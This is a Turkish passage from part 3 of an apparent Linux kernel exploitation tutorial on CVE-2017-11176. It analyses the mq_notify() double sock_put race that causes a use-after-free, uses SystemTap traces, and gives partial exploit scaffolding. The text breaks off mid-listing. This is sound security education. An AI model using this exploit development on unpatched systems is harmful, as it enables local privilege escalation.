Adım Adım Linux Kernel Exploitation - 3

Selamlar.
Bu bölümde CVE-2017-11176 zafiyetinin nerden kaynaklandığına odaklanacağız.

YAZILIM HATASINI ANLAMAK

Bir önceki bölümün son kısmında yama açıklaması bize birçok yararlı bilgi sağlamaktadır, bunlar:

  • Güvenlik açığı bulunan kod, mq_notify sistem çağrısında bulunmaktadır

  • Yeniden deneme mantığıyla ilgili bir sorun var

  • Sock değişkeninin referans sayacıyla ilgili, use-after-free durumuna yol açan bir sorun var

  • Kapalı bir fd ile ilgili bir race condition sorunu var

Zafiyetli Kod

Şimdi mq_notify() sistem çağrısı implementasyonunu, özellikle de yeniden deneme mantığı bölümünü (yani retry etiketi) ve çıkış yolunu (yani out etiketi) inceleyelim:

// from [ipc/mqueue.c]

      SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes,
          const struct sigevent __user *, u_notification)
      {
        int ret;
        struct file *filp;
        struct sock *sock;
        struct sigevent notification;
        struct sk_buff *nc;

        // ... kes (kullanıcı alanı verilerini çekirdeğe kopyala + skb tahsisi) ...

        sock = NULL;
    retry:
[0]       filp = fget(notification.sigev_signo);
          if (!filp) {
            ret = -EBADF;
[1]         goto out;
          }
[2a]      sock = netlink_getsockbyfilp(filp);
[2b]      fput(filp);
          if (IS_ERR(sock)) {
            ret = PTR_ERR(sock);
            sock = NULL;
[3]         goto out;
          }

          timeo = MAX_SCHEDULE_TIMEOUT;
[4]       ret = netlink_attachskb(sock, nc, &timeo, NULL);
          if (ret == 1)
[5a]        goto retry;
          if (ret) {
            sock = NULL;
            nc = NULL;
[5b]        goto out;
          }

[5c]    // ... cut (normal path) ...

      out:
        if (sock) {
          netlink_detachskb(sock, nc);
        } else if (nc) {
          dev_kfree_skb(nc);
        }
        return ret;
      }

Üstte yer alan kod, kullanıcı tarafından sağlanan bir dosya tanıtıcısına dayalı olarak bir yapı dosyası nesnesine referans alarak başlar**[0]. Geçerli işlem dosyası tanımlayıcı tablosunda (fdt) böyle bir fd yoksa, bir NULL işaretçisi döndürülür ve kod çıkış yoluna gider[1]**.

Aksi takdirde, o dosyayla ilişkili struct sock nesnesine bir referans alınır**[2a]. İlişkilendirilmiş geçerli bir struct sock nesnesi yoksa (mevcut veya hatalı tür değilse), sock işaretçisi NULL olarak sıfırlanır ve kod çıkış yoluna gider[3]. Her iki durumda da, önceki yapı dosyası referansı bırakılır[2b]**.

Son olarak, bir struct sk_buff (nc) yapısını bir struct sock alma kuyruğuna yerleştirmeye çalışan netlink_attachskb() öğesine bir çağrı yapılmıştır**[4]**. From there, there is three possible outcomes: Buradan sonra toplamda 3 olası çıktı senaryosu bulunmaktadır:

  1. Her şey yolunda gitti, kod normal yolda devam ediyor**[5c]**.

  2. İşlev 1 değerini döndürür, bu durumda kod yeniden deneme etiketine geri döner**[5a]**. İşte bu, yeniden deneme mantığına girmek demek.

  3. Aksi takdirde, hem nc hem de sock NULL olarak ayarlanır ve kod çıkış yoluna atlar**[5b]**.

Sock’u NULL olarak ayarlamak neden önemlidir?

Bu soruyu yanıtlamak için kendimize soralım: eğer sock NULL olarak ayarlanmaz ise ne olur? Cevap:

out:
    if (sock) {
      netlink_detachskb(sock, nc);  // <----- burası
    }
// from [net/netlink/af_netlink.c]

    void netlink_detachskb(struct sock *sk, struct sk_buff *skb)
    {
      kfree_skb(skb);
      sock_put(sk);       // <----- burası
    }
// from [include/net/sock.h]

    /* eğer son referans ise sock'u bırak ve yok et. */
    static inline void sock_put(struct sock *sk)
    {
      if (atomic_dec_and_test(&sk->sk_refcnt))    // <----- burası
        sk_free(sk);
    }

Başka bir deyişle, çıkış yolu sırasında sock NULL değilse, referans sayacı (sk_refcnt) koşulsuz olarak 1 azaltılacaktır.

Yamada da belirtildiği gibi, sock nesnesinin referans sayacıyla ilgili bir sorun olduğu görülebilmektedir. Ancak bu referans sayacı başlangıçta tam olarak hangi kısımda artırılıyor? Netlink_getsockbyfilp() koduna yeniden (önceki listede [2a] olarak bölümlenmiştir) bakarsak:

// [net/netlink/af_netlink.c]'dan alınmıştır

    struct sock *netlink_getsockbyfilp(struct file *filp)
    {
      struct inode *inode = filp->f_path.dentry->d_inode;
      struct sock *sock;

      if (!S_ISSOCK(inode->i_mode))
        return ERR_PTR(-ENOTSOCK);

      sock = SOCKET_I(inode)->sk;
      if (sock->sk_family != AF_NETLINK)
        return ERR_PTR(-EINVAL);

[0]   sock_hold(sock);    // <----- burası
      return sock;
    }
// [include/net/sock.h] 'dan alınmıştır

    static inline void sock_hold(struct sock *sk)
    {
      atomic_inc(&sk->sk_refcnt);   // <------ burası
    }

Yani görüldüğü üzere, sock nesnesinin başvuru sayacı yeniden deneme mantığında çok erken bir aşamada artırılır.

Sayaç koşulsuz olarak netlink_getsockbyfilp() ile artırılıp ve netlink_detachskb() ile azaltıldığından (sock NULL değilse) dolayı, netlink_attachskb() fonksiyonu bir şekilde refcounter sayacını ne artırmalı, ne de azaltmalıdır. Yani, refcounter konusunda nötr kalmalıdır.

netlink_attachskb() fonksiyonunun basitleştirilmiş hali aşağıda yer almaktadır:

// [net/netlink/af_netlink.c] 'dan alınmıştır

    /*
     * skb'yi bir netlink soketine bağla.
     * Sistem çağrısını yapan nesne, hedef soket için bir referans değeri tutmalıdır. 
     * Hata alınması halinde, referans serbest bırakılır. Skb hedefe gönderilmez, 
	 	 * sadece tüm hata kontrolleri yapılır ve kuyruktaki bellek saklanır.
     * Dönüş değerleri:
     * < 0: hata. skb serbest bırakılır, sock'a olan referans serbest bırakılır
     * 0: devam edilir
     * 1: aramayı yinele - soket hafızasını beklerken referans serbest bırakılır
     */

    int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
              long *timeo, struct sock *ssk)
    {
      struct netlink_sock *nlk;

      nlk = nlk_sk(sk);

      if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {

        // ... kes (bir şart sağlanana kadar bekle) ...

        sock_put(sk);         // <----- referans sayacı burada azaltılır

        if (signal_pending(current)) {
          kfree_skb(skb);
          return sock_intr_errno(*timeo); // <----- "hata" yolu
        }
        return 1;   // <----- "retry" path
      }
      skb_set_owner_r(skb, sk);   // <----- "normal" yol
      return 0;
    }

netlink_attachskb() fonksiyonunun temel olarak iki yolu vardır:

  1. Normal yol: skb sahipliği sock’a aktarılır (yani sock alma kuyruğunda sıraya sokulur).

  2. Soketin veri alma arabelleği dolu olduğunda: yeterli yer olana kadar beklenir ve yeniden deneme yapılır veya hata durumunda işlem sonlandırılır.

En üstteki açıklamada da belirtildiği çağrı yapan nesne, hedef soket için bir referansa sahip olmalıdır. Hata halinde, referans serbest bırakılır . netlink_attachskb() fonksiyonunun sock referans sayacı üzerinde yan etkisi olduğu sonucuna ulaşılmaktadır!

netlink_attachskb() fonksiyonu referans sayacı yayınlayabileceği için(ve yalnızca bir referans netlink_getsockbyflip() fonksiyonu ile alınmıştır), referansı ikinci bir defa bırakmamak sistem çağrısını yapan nesnenin sorumluluğundadır. Bu durum ancak sock’un NULL atanması ile önlenebilmektedir! NULL atama işlemi, “hata” yolunda düzgün bir şekilde işlem görürken (netlink_attachskb() negatif değer döndürür), “yeniden deneme” yolunda doğru biçimde işlem görmemektedir. (netlink_attachskb() 1 döndürür). Yamanın kapatmayı amaçladığı yazılım hatası da tam olarak budur.

Yazının bu aşamasına kadar sock değişkeninin referans sayacında (bazı durumlarda referans sayacının üst üste iki defa değişmesi) ve yeniden deneme mantığında yapılan hataları (sock’a NULL atanmaması durumu) detaylandırdık.

“RACE CONDITION” DURUMUNUN DETAYLARI

Geliştiriciler yama açıklamasında “kapalı bir fd” ile ilgili “küçük bir pencere” hakkında bir şeyden bahsetti. Bunun detayları nelerdir?

Yeniden deneme mantığı kodunun başlangıç kısımlarına tekrardan göz atalım:

sock = NULL;  // <----- yalnızca ilk döngü
    retry:
          filp = fget(notification.sigev_signo);
          if (!filp) {
            ret = -EBADF;
            goto out;         // <----- bu ne anlama gelmektedir?
          }
          sock = netlink_getsockbyfilp(filp);

Bu hata işleme şekli, ilk döngü sırasında zararsız gibi görünebilmektedir. Ancak biraz dikkatli bakıldığında, ikinci döngü sırasında (yani "goto retry"den sonra), sock’un artık NULL olmadığını ve referans sayacının zaten düşürülmüş olduğunu unutmamakta fayda var. Yani bu durumda kod, “out” kısmına zıplamakta (goto ile) ve ilk koşula takılmaktadır.

out:
      if (sock) {
        netlink_detachskb(sock, nc);
      }

sock’un referans sayacı ikinci defa düşürüldü! Bu çift sock_put() yazılım hatası demek oluyor.

İlk döngü sırasında true değere sahip olmadığı halde ikinci döngü sırasında neden bu koşula takıldığımızı (fget() NULL döndürür) merak etmemiz çok doğal. Bu durum aslında söz konusu yazılım hatasının race condition kısmına denk gelmektedir. İlerleyen kısımlarda race condition durumunun nasıl ortaya çıktığını göreceğiz.

SALDIRI SENARYOSU

Bir dosya tanımlayıcı tablosunun iki iş parçacığı (thread) arasında paylaşılabileceğini varsayarsak, aşağıdaki sekansı göz önünde bulunduralım:

Thread-1                            | Thread-2              |refcnt  dosya| sock refcnt | sock ptr           |
------------------------------------+-----------------------+-------------+-------------+--------------------+
 mq_notify()                        |                       | 1           | 1           | NULL               |
                                    |                       |             |             |                    |
  fget(<TARGET_FD>) -> ok           |                       | 2 (+1)      | 1           | NULL               |
                                    |                       |             |             |                    |
  netlink_getsockbyfilp() -> ok     |                       | 2           | 2 (+1)      | 0xffffffc0aabbccdd |
                                    |                       |             |             |                    |
  fput(<TARGET_FD>) -> ok           |                       | 1 (-1)      | 2           | 0xffffffc0aabbccdd |
                                    |                       |             |             |                    |
  netlink_attachskb() -> returns 1  |                       | 1           | 1 (-1)      | 0xffffffc0aabbccdd |
                                    |                       |             |             |                    |
                                    | close(<TARGET_FD>)    | 0 (-1)      | 0 (-1)      | 0xffffffc0aabbccdd |
                                    |                       |             |             |                    |
  goto retry                        |                       | FREE        | FREE        | 0xffffffc0aabbccdd |
                                    |                       |             |             |                    |
  fget(<TARGET_FD) -> returns NULL  |                       | FREE        | FREE        | 0xffffffc0aabbccdd |
                                    |                       |             |             |                    |
  goto out                          |                       | FREE        | FREE        | 0xffffffc0aabbccdd |
                                    |                       |             |             |                    |
  netlink_detachskb() -> UAF!       |                       | FREE        | (-1) in UAF | 0xffffffc0aabbccdd |

close(TARGET_FD) sistem çağrısı, fput()'a çağrı yapar ve gönderilen dosya tanımlayıcısından (TARGET_FD) referans dosyaya eşlemeyi kaldırır. Bu olay aslında fdt[TARGET_FD] girdisinin NULL olarak atanması demek oluyor. Close(TARGET_FD) sistem çağrısı, ilgili yapı dosyasının son referansını yayınladığından dolayı serbest bırakılacaktır.

struct dosyası serbest bırakıldığından dolayı ilgili struct sock’a referansı serbest bırakır (yani, referans sayacı bir azaltılır). Yeniden sock referans sayacı da sıfıra ulaştığı için serbest bırakılır. Şu an için sock işaretçisi, NULL olarak sıfırlanmamış, öylece varlığını sürdüren bir işaretçidir.

İkinci get() çağrısı başarılı olamayacaktır ve doğrudan “out” etiketine atlayacaktır çünkü fd, FDT’deki herhangi bir geçerli yapı dosyasına işaret etmemektedir. Bu durumun ardından, netlink_detachskb() fonksiyonu serbest bırakılmış verilere bir işaretçi ile çağrılır ve bu da use-after-free durumuna neden olmaktadır!

Yeniden belirtmekte fayda var, use-after-free bir sonuçtur, yazılım hatası değil.

Bu sebeple yama notlarında kapatılmış fd’den bahsedilmiştir. Yazılım hatasını tetiklemek, hatanın istismar edilmesi için çok gerekli bir koşuldur. Ayrıca close() fonksiyonu başka bir iş parçacığında gerçekleşmemesi gereken bir zamanda gerçekleştiğinden bu durum “race condition” olayına sebep olmaktadır.

Yazının bu konumuna kadar yazılım hatasını anlamak ve tetiklemek için gerekli olan tüm bilgiye sahibiz. Özet olarak iki şartı sağlamalıyız:

  1. İlk yeniden deneme döngüsünde, netlink_attachskb() fonksiyonuna yapılan sistem çağrısı 1 değeri dönmelidir.

  2. İkinci yeniden deneme döngüsünde, fget() fonksiyonuna yapılan sistem çağrısı NULL değerini dönmelidir.

Bir diğer deyişle, mq_notify() sistem çağrısından dönüldüğünde, sock’un referans sayacı bir azaltılır ve bir kararsızlık/dengesizlik ortaya çıkmaktadır. Sock’un referans sayacı mq_notify() fonksiyonuna girmeden önce 1 atandığı için, sistem çağrısının sonunda serbest bırakıldıktan sonra kullanılmaktadır (netlink_detachskb() fonksiyonunda), ki bu da use-after-free durumunu ortaya çıkarmaktadır.

REACHING THE RETRY LOGIC

Bir önceki bölümde, yazılım hatasını analiz edip onu tetikleyecek bir saldırı senaryosu tasarladık. Bu bölümde ise zafiyet içeren koda (yani yeniden deneme etiketine) nasıl ulaşabileceğimizi göreceğiz ve istismar kodunu yazmaya başlayacağız.

Ancak exploit kodunu yazmaya başlamadan önce zafiyetin exploit edilip edilemediğini kontrol etmeliyiz. Çünkü eğer zafiyetli koda ulaşıp, zafiyetin varlığını doğrulayamıyorsak, bu kod için bir exploit geliştirmenin çok bir anlamı olmayacaktır.

Yeniden Deneme Etiketinden Önceki Kodun Analizi

Çoğu sistem çağrısında olduğu gibi mq_notify fonksiyonu copy_from_user() fonksiyonunu kullanarak kullanıcı alanı verilerinin yerel bir kopyasını oluşturarak çalışmaya başlar:

SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes,
        const struct sigevent __user *, u_notification)
    {
      int ret;
      struct file *filp;
      struct sock *sock;
      struct inode *inode;
      struct sigevent notification;
      struct mqueue_inode_info *info;
      struct sk_buff *nc;

[0]   if (u_notification) {
[1]     if (copy_from_user(&notification, u_notification,
              sizeof(struct sigevent)))
          return -EFAULT;
      }

      audit_mq_notify(mqdes, u_notification ? &notification : NULL);  // <--- bu satırı yoksayabilirsiniz

Kod, öncelikle kullanıcı tarafından sağlanan u_notification parametresinin NULL[0] olup olmadığını kontrol eder, ardından bu parametreyi çekirdek hafızasına yerel kopya [1] oluşturmak için kullanır.

Ardından kullanıcı tarafından sağlanan yapı **sigevent’**ine dayalı bir takım kod kontrolü görülmektedir. Bu kontroller kodun beklendiği gibi çalışıp çalışmadığını doğrulamak üzere yapılır.

nc = NULL;
      sock = NULL;
[2]   if (u_notification != NULL) {
[3a]     if (unlikely(notification.sigev_notify != SIGEV_NONE &&
               notification.sigev_notify != SIGEV_SIGNAL &&
               notification.sigev_notify != SIGEV_THREAD))
          return -EINVAL;
[3b]    if (notification.sigev_notify == SIGEV_SIGNAL &&
          !valid_signal(notification.sigev_signo)) {
          return -EINVAL;
        }
[3c]    if (notification.sigev_notify == SIGEV_THREAD) {
          long timeo;

          /* bildirim skb'si oluşturulur */
          nc = alloc_skb(NOTIFY_COOKIE_LEN, GFP_KERNEL);
          if (!nc) {
            ret = -ENOMEM;
            goto out;
          }
[4]       if (copy_from_user(nc->data,
              notification.sigev_value.sival_ptr,
              NOTIFY_COOKIE_LEN)) {
            ret = -EFAULT;
            goto out;
          }

          /* TODO: başlık eklenmeli mi? */
          skb_put(nc, NOTIFY_COOKIE_LEN);
          /* ve sokete bağla */

    retry:                                    // <---- bu noktaya erişmek istiyoruz!
            filp = fget(notification.sigev_signo);

Sağlanan parametre NULL [2] değilse, sigev_notify değeri üç kez kod kontrolünden geçer ([3a], [3b], [3c]). notification.sigev_value_sival_ptr değerine göre, copy_from_user() fonksiyonuna sistem çağrısı yapılır. Bunu çağrının kullanıcı tarafından okunabilen geçerli bir veriye/arabelleğe işaretlenmiş olması etmesi gerekir, aksi takdirde copy_from_user() fonksiyonu başarılı biçimde çalışamaz.

Hatırlatmakta fayda var, sigevent fonksiyonu aşağıdaki kodda tanımlanmıştır:

// [include/asm-generic/siginfo.h]

    typedef union sigval {
      int sival_int;
      void __user *sival_ptr;
    } sigval_t;

    typedef struct sigevent {
      sigval_t sigev_value;
      int sigev_signo;
      int sigev_notify;
      union {
        int _pad[SIGEV_PAD_SIZE];
         int _tid;

        struct {
          void (*_function)(sigval_t);
          void *_attribute; /* gerçekten de pthread_attr_t */
        } _sigev_thread;
      } _sigev_un;
    } sigevent_t;

Sonuç olarak, en azından bir defa yeniden deneme mantığı yoluna (retry path) girebilmek için aşağıdaki aşamaları takip etmeliyiz:

  1. NULL olmayan bir u_notification parametresi tanımlamalıyız

  2. u_notification.sigev_notify’ı SIGEV_THREAD’e atamalıyız.

  3. notification.sigev_value.sival_ptr tarafından işaret edilen değer, en az NOTIFY_COOKIE_LEN (=32) baytlık geçerli bir okunabilir kullanıcı alanı adresi olmalıdır (bkz. [include/linux/mqueue.h])

İLK EXPLOIT KODU

Kodlamaya başlayıp her şeyin yolunda olduğunu doğrulayalım:

/*
     * CVE-2017-11176 Exploit */

    #include <mqueue.h>
    #include <stdio.h>
    #include <string.h>


    #define NOTIFY_COOKIE_LEN (32)


    int main(void)
    {
      struct sigevent sigev;
      char sival_buffer[NOTIFY_COOKIE_LEN];

      printf("-={ CVE-2017-11176 Exploit }=-\n");

      // sigevent yapısını başlat
      memset(&sigev, 0, sizeof(sigev));
      sigev.sigev_notify = SIGEV_THREAD;
      sigev.sigev_value.sival_ptr = sival_buffer;

      if (mq_notify((mqd_t)-1, &sigev))
      {
        perror("mqnotify");
        goto fail;
      }
      printf("mqnotify succeed\n");

      // TODO: istismar kodu

      return 0;

    fail:
      printf("exploit failed!\n");
      return -1;
    }

Exploit geliştirmeyi kolaylaştırmak için bir Makefile kullanılması önerilmektedir. Exploit kodunu derlemek için, mq_notify kullanmak için gereken lrt bayraklarıyla binary dosya arasında bağlantı (link) oluşturmak gerekmektedir. Ayrıca GCC’nin kodumuzu otomatik düzenlemesini önlemek için O0 parametresini kullaabiliriz. Bu durum hata ayıklaması sırasında bizi zor duruma düşürebilir.

-={ CVE-2017-11176 Exploit }=-
mqnotify: Bad file descriptor //Yanlış dosya tanımlayıcısı!
exploit failed! //istismar kodu başarısız oldu!

İlk deneyişte başarılı olamadık, mq_notify "-EBADF"ye eşdeğer olan “Yanlış dosya tanımlayıcı” hatasını döndürdü. Bu hatanın birçok farklı kaynağı olabilir. Bunlardan birisi fget() çağrılarından birisi veya sonradan çalışan filp->f_op != &mqueue_file_operations kontrolü olabilir, haydi gerçek sebebini araştıralım ve öğrenelim!

Merhaba SystemTap!

Exploit geliştirmenin ilk aşamalarında exploit kodunun hata ayıklama sembolleriyle bir kernel’da çalıştırılması önemle tavsiye edilmektedir. Çünkü bu durum SystemTap’in kullanılmasını mümkün kılmaktadır. SystemTap, kodun gdb ile analiz edilmesine gerek kalmadan kernel’ı çalışır durumda iken incelemek için harika bir araçtır. Sekans görselleştirmesini büyük oranda kolaylaştırmaktadır.

System Tap (stap)’in basit betikleri ile başlayabiliriz:

# mq_notify.stp

    probe syscall.mq_notify
    {
      if (execname() == "exploit")
      {
        printf("\n\n(%d-%d) >>> mq_notify (%s)\n", pid(), tid(), argstr)
      }
    }

    probe syscall.mq_notify.return
    {
      if (execname() == "exploit")
      {
        printf("(%d-%d) <<< mq_notify = %x\n\n\n", pid(), tid(), $return)
      }
    }

Yukarıdaki betik sistem çağrılarından önce ve sonra çalışacak iki adet probe oluşturur.

çoklu iş parçacığı kullanılarak hata ayıklama yapılıyorsa, pid() ve tid() fonksiyonlarının dökümlerini almak bizlere hata ayıklama esnasında çok yardımcı olacaktır. Buna ek olarak, (execname() == “exploit” ) filtresinin kullanılması, çıktının sınırlandırmasına yardımcı olmaktadır.

Uyarı: Eğer çıktı çok uzun olursa, SystemTap size bildirmeden çıktının bir kısmını göstermeyebilir.

Şimdi betiği aşağıdaki gibi çalıştıralım:

stap -v mq_notify.stp

… ve exploit kodunu çalıştıralım

(14427-14427) >>> mq_notify (-1, 0x7ffdd7421400)
(14427-14427) <<< mq_notify = fffffffffffffff7

Probe’ların çalışır halde olduğunu görebiliyoruz. mq_notify() sistem çağrısının iki parametresinin de bizim sistem çağrımızla bir şekilde uyuştuğunu görebiliyoruz.(mesela, ilk parametreyi -1 olarak atadık ve 0x7ffdd7421400 de kullanıcı alanı adresi olarak gözükmekte). Ayrıca çağrı sonucunda EBADF (=-9) değerine denk gelen fffffffffffffff7 sonucunun döndüğü görülebilmektedir. Haydi başka probe’lar ekleyerek yolumuza devam edelim.

Sistem çağrılarının aksine (“SYSCALL_DEFINE*” ile başlayan fonksiyonlar), normal çekirdek fonksiyonları aşağıdaki sözdizimi ile kancalanır (hook) :

probe kernel.function ("fget")
    {
      if (execname() == "exploit")
      {
        printf("(%d-%d) [vfs] ==>> fget (%s)\n", pid(), tid(), $parms)
      }
    }

Uyarı: Belli sebeplerden dolayı, tüm kernel fonksiyonları (işlevleri) kancalanabilir değildir. Mesela, “inlined” gerçekten var olup olmamasına bağlı olarak kancalanamayabilir. Buna ek olarak, bazı fonsiyonlar(örn. copy_from_user()) sistem çağrısından önce kancalanabiliyorken, sistem çağrısından sonra kancalanamaz. Her durumda SystemTap size bu gibi durumları bildirerek, betiğin çalışmasını durdurur/engeller.

mq_notify()'da çağırılan tüm fonksiyonlara probe ekleyerek kodun doğru biçimde çalıştığını doğrulayalım ve exploit kodunu yeniden çalıştıralım:

(17850-17850) [SYSCALL] ==>> mq_notify (-1, 0x7ffc30916f50)
(17850-17850) [uland] ==>> copy_from_user ()
(17850-17850) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(17850-17850) [uland] ==>> copy_from_user ()
(17850-17850) [skb] ==>> skb_put (skb=0xffff88002e061200 len=0x20)
(17850-17850) [skb] <<== skb_put = ffff88000a187600
(17850-17850) [vfs] ==>> fget (fd=0x3)
(17850-17850) [vfs] <<== fget = ffff88002e271280
(17850-17850) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88002e271280)
(17850-17850) [netlink] <<== netlink_getsockbyfilp = ffff88002ff82800
(17850-17850) [netlink] ==>> netlink_attachskb (sk=0xffff88002ff82800 skb=0xffff88002e061200 timeo=0xffff88002e1f3f40 ssk=0x0)
(17850-17850) [netlink] <<== netlink_attachskb = 0
(17850-17850) [vfs] ==>> fget (fd=0xffffffff)
(17850-17850) [vfs] <<== fget = 0
(17850-17850) [netlink] ==>> netlink_detachskb (sk=0xffff88002ff82800 skb=0xffff88002e061200)
(17850-17850) [netlink] <<== netlink_detachskb
(17850-17850) [SYSCALL] <<== mq_notify= -9

Uyarı: Önerilen ISO dosyasındaki kernel’da, sistem çağrısı (system call) kodu fget() yerine fdget()'i çağırmaktadır. Kodu yeniden okuyup probe’larınızı buna göre yeniden yazınız.

İlk Yazılım Hatası

Görünüşe göre aşağıdaki sekansı kullandığımız için yeniden deneme mantığı yoluna doğru biçimde ulaştık!:

  1. copy_from_user: işaretçimiz NULL değere sahip değil

  2. alloc_skb: SIGEV_THREAD koşulunu geçtik

  3. copy_from_user: *sival_buffer’*ımızı alıyoruz

  4. skb_put: önceki copy_from_user() çağrısı başarısız olmamış

  5. fget(fd=0x3): <— ???

Hmm… bir şeyler şimdiden yanlış görünüyor… notification.sigev_signo için herhangi bir dosya tanımlayıcı kullanmadığımız için, değeri 0 olmalı, 3 değil:

// sigevent yapısını başlat
      memset(&sigev, 0, sizeof(sigev));
      sigev.sigev_notify = SIGEV_THREAD;
      sigev.sigev_value.sival_ptr = sival_buffer;

Yine de fget()'e yapılan ilk çağrı başarısız olmadı. Buna ek olarak, netlink_getsockbyflip() ve netlink_attachskb() çalışmış gibi gözüküyor! Aslında bu da biraz tuhaf çünkü biz herhangi bir AF_NETLINK soketi oluşturmadık.

Başarısız olan fget() aslında ikincisi çünkü mq_notify()'ın ilk parametresini -1 gönderdik. Buradaki problemi tam olarak nerede acaba?

sigevent işaretçimizi geri çekip ekrana yazdıralım ve sistem çağrısına iletilen değerle karşılaştıralım:

printf("sigev = 0x%p\n", &sigev);
  if (mq_notify((mqd_t) -1, &sigev))
-={ CVE-2017-11176 Exploit }=-
sigev = 0x0x7ffdd9257f00        // <------
mq_notify: Bad file descriptor //Yanlış dosya tanımlayıcısı!
exploit failed! //exploit kodu başarısız oldu!
(18652-18652) [SYSCALL] ==>> mq_notify (-1, 0x7ffdd9257e60)

Açıkça görülüyor ki mq_notify sistem çağrısına iletilen yapı, istismar kodumuza eklediğimiz ile aynı değil. Bu SystemTap’in hatalı çalıştığıyla ilgili olabilir…

…ya da bir kütüphane wrapper’ı sebebiyle başarısız olduk!

*mq_notify’*ı düzeltip syscall() sistem çağrısı ile yeniden çağıralım:

Öncelikle aşağıdaki başlıkları ve kendi wrapper’ımızı ekleyelim:

    #define _GNU_SOURCE
    #include <unistd.h>
    #include <sys/syscall.h>

    #define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)

Ayrıca Makefile’daki -lrt satısını silmeyi unutmayın. (şimdi sistem çağrısını direkt olarak kullanabiliriz).

0 aslında geçerli bir dosya tanımlayıcı olduğundan ve wrapper’ı kullandığından, sigev_signo’ya “-1” değerini atayalım:

int main(void)
      {
        // ... kes ...

        sigev.sigev_signo = -1;

        printf("sigev = 0x%p\n", &sigev);
        if (_mq_notify((mqd_t)-1, &sigev))

        // ... kes ...
      }

Ardından çalıştıralım:

-={ CVE-2017-11176 Exploit }=-
sigev = 0x0x7fffb7eab660
mq_notify: Bad file descriptor //Yanlış dosya tanımlayıcısı!
exploit failed! //istismar kodu başarısız oldu

(18771-18771) [SYSCALL] ==>> mq_notify (-1, 0x7fffb7eab660)           // <--- beklediğimiz gibi!
(18771-18771) [uland] ==>> copy_from_user ()
(18771-18771) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)
(18771-18771) [uland] ==>> copy_from_user ()
(18771-18771) [skb] ==>> skb_put (skb=0xffff88003d2e95c0 len=0x20)
(18771-18771) [skb] <<== skb_put = ffff88000a0a2200
(18771-18771) [vfs] ==>> fget (fd=0xffffffff)                         // <---- çok daha iyi!
(18771-18771) [vfs] <<== fget = 0
(18771-18771) [SYSCALL] <<== mq_notify= -9

Bu sefer, ilk başarısız fget() çağırısından sonra beklediğimiz üzere doğrudan out etiketine (label) gittik.

Şu ana kadar, herhangi bir güvenlik kontrolü tarafından durdurulmadan “retry” etiketine en az bir kez ulaşabileceğimizi biliyoruz. Ortaya sık görülen bir tuzak çıktı ve onu nasıl düzeltebileceğimizi gördük. Gelecekte aynı türden bir yazılım hatasından kaçınmak için her sistem çağrısını wrapper ile yeniden kodlayacağız.

System Tap’in yardımı ile yazılım hatasını yeniden tetikleme zamanı.

Tetiklenmeyi Zorlamak

Bazen tüm kernel kodunu açmadan aklınıza gelen bir yöntemi hızlıca doğrulamak istersiniz. Bu bölümde, kernel veri yapılarını değiştirmek ve belirli bir çekirdek yolunu zorlamak için SystemTap Guru Modunu kullanacağız…

Bir diğer deyişle, yazılım hatasını kernel alanında tetikleyeceğiz. Genel fikir şu, eğer yazılım hatasını kernel alanında tetikleyemiyorsak, kullanıcı alanında tetiklememizin imkanı yok. O halde önce kernel’da değişiklikler yaparak tüm gereksinimleri karşılayalım ve ardından bunları birer birer kullanıcı alanında uygulayalım.

Hatırlatmakta fayda var, yazılım hatasını tetiklemek için şunlar yapılmalı:

  1. Yeniden deneme mantığı yoluna (retry logic path) ulaşmalıyız (retry etiketine döngü sonucunda gitmeliyiz). Yani önce netlink_attachskb() fonksiyonu içine girmemiz ve sonuç olarak 1 döndürmesini sağlamamız gerekiyor. Sock referans sayacı bu noktada 1 azalacak.

  2. retry etiketine (goto retry) geri döndükten sonra, bir sonraki fget() çağrısının NULL döndürmesi gerekmektedir, böylece çıkış yoluna (out etiketi) ulaşabilir ve sock’ların referans sayacını ikinci kez azaltabiliriz.

netlink_attachskb()’e Ulaşmak

Önceki bölümde, yazılım hatasını tetiklemek için netlink_attachskb() fonksiyonunun 1 döndürmesi gerektiğini gösterdik. Ancak bu noktaya gelebilmek için birkaç gereksinimi sağlamalıyız:

  1. Geçerli bir dosya tanımlayıcısı sağlamalıyız ki fget() öğesine yapılan ilk sistem çağrısı başarısız olmasın

  2. Dosya tanımlayıcı tarafından işaret(pointer) edilen dosya, AF_NETLINK türünde bir soket olmalıdır

Yani tüm kontrolleri ustaca geçebilmeliyiz:

retry:
[0]       filp = fget(notification.sigev_signo);
          if (!filp) {
            ret = -EBADF;
            goto out;
          }
[1]       sock = netlink_getsockbyfilp(filp);
          fput(filp);
          if (IS_ERR(sock)) {
            ret = PTR_ERR(sock);
            sock = NULL;
            goto out;
          }

Birinci kontrolü [0] geçmek oldukça kolay çünkü geçerli bir dosya tanımlayıcı sağladığımızda bu kontrol geçilecektir (open(),socket() gibi…). Ancak yine de uygun türü doğrudan kullanmak daha iyi olacaktır, aksi takdirde ikinci kontrol[1]'den geçmekte başarısız olabiliriz.

struct sock *netlink_getsockbyfilp(struct file *filp)
    {
      struct inode *inode = filp->f_path.dentry->d_inode;
      struct sock *sock;

      if (!S_ISSOCK(inode->i_mode))         // <--- bunun soket olması gerekiyor.
        return ERR_PTR(-ENOTSOCK);

      sock = SOCKET_I(inode)->sk;
      if (sock->sk_family != AF_NETLINK)    // <--- ... AF_NETLINK ailesinden ...
        return ERR_PTR(-EINVAL);

      sock_hold(sock);
      return sock;
    }

Exploit kodu aşağıdaki şekli alacaktır: (socket() çağrısını wrapper ile düzenlemeyi unutmayalım):

/*
     * CVE-2017-11176 Exploit */

    #define _GNU_SOURCE
    #include <mqueue.h>
    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/syscall.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <linux/netlink.h>

    #define NOTIFY_COOKIE_LEN (32)

    #define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
    #define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)

    int main(void)
    {
      struct sigevent sigev;
      char sival_buffer[NOTIFY_COOKIE_LEN];
      int sock_fd;

      printf("-={ CVE-2017-11176 Exploit }=-\n");

